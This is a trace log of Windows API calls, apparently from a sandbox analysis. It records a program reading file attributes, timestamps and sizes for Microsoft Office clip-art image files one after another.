	[0051.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7728 | out: lpFileInformation=0x124d7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24)) returned 1
	[0051.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7778 | out: lpFileInformation=0x124d7778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6)) returned 1
	[0051.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d77c8 | out: lpFileInformation=0x124d77c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2)) returned 1
	[0051.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7818 | out: lpFileInformation=0x124d7818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498)) returned 1
	[0051.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7868 | out: lpFileInformation=0x124d7868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232)) returned 1
	[0051.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d78b8 | out: lpFileInformation=0x124d78b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6)) returned 1
	[0051.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7908 | out: lpFileInformation=0x124d7908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c)) returned 1
	[0051.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7958 | out: lpFileInformation=0x124d7958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1
	[0051.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d79a8 | out: lpFileInformation=0x124d79a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa)) returned 1
	[0051.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), fInfoLevelId=0x0, lpFileInformation=0x124d79f8 | out: lpFileInformation=0x124d79f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6)) returned 1
	[0051.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124d7a48 | out: lpFileInformation=0x124d7a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3)) returned 1
	[0051.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7a98 | out: lpFileInformation=0x124d7a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876)) returned 1
	[0051.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7ae8 | out: lpFileInformation=0x124d7ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4)) returned 1
	[0051.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7b38 | out: lpFileInformation=0x124d7b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448)) returned 1
	[0051.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7b88 | out: lpFileInformation=0x124d7b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12)) returned 1
	[0051.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7bd8 | out: lpFileInformation=0x124d7bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c)) returned 1
	[0051.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7c28 | out: lpFileInformation=0x124d7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452)) returned 1
	[0051.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7c78 | out: lpFileInformation=0x124d7c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0)) returned 1
	[0051.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7cc8 | out: lpFileInformation=0x124d7cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0)) returned 1
	[0051.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7d18 | out: lpFileInformation=0x124d7d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e)) returned 1
	[0051.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7d68 | out: lpFileInformation=0x124d7d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea)) returned 1
	[0051.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7db8 | out: lpFileInformation=0x124d7db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148)) returned 1
	[0051.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7e08 | out: lpFileInformation=0x124d7e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce)) returned 1
	[0051.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7e58 | out: lpFileInformation=0x124d7e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998)) returned 1
	[0051.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7ea8 | out: lpFileInformation=0x124d7ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba)) returned 1
	[0051.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7ef8 | out: lpFileInformation=0x124d7ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766)) returned 1
	[0051.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7f48 | out: lpFileInformation=0x124d7f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a)) returned 1
	[0051.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124d7f98 | out: lpFileInformation=0x124d7f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e)) returned 1
	[0051.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4008 | out: lpFileInformation=0x124f4008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c)) returned 1
	[0051.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4058 | out: lpFileInformation=0x124f4058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea)) returned 1
	[0051.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f40a8 | out: lpFileInformation=0x124f40a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812)) returned 1
	[0051.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), fInfoLevelId=0x0, lpFileInformation=0x124f40f8 | out: lpFileInformation=0x124f40f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5)) returned 1
	[0051.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4148 | out: lpFileInformation=0x124f4148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52)) returned 1
	[0051.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4198 | out: lpFileInformation=0x124f4198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8)) returned 1
	[0051.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f41e8 | out: lpFileInformation=0x124f41e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2)) returned 1
	[0051.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4238 | out: lpFileInformation=0x124f4238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba)) returned 1
	[0051.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4288 | out: lpFileInformation=0x124f4288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e)) returned 1
	[0051.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f42d8 | out: lpFileInformation=0x124f42d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6)) returned 1
	[0051.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4328 | out: lpFileInformation=0x124f4328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c)) returned 1
	[0051.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4378 | out: lpFileInformation=0x124f4378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6)) returned 1
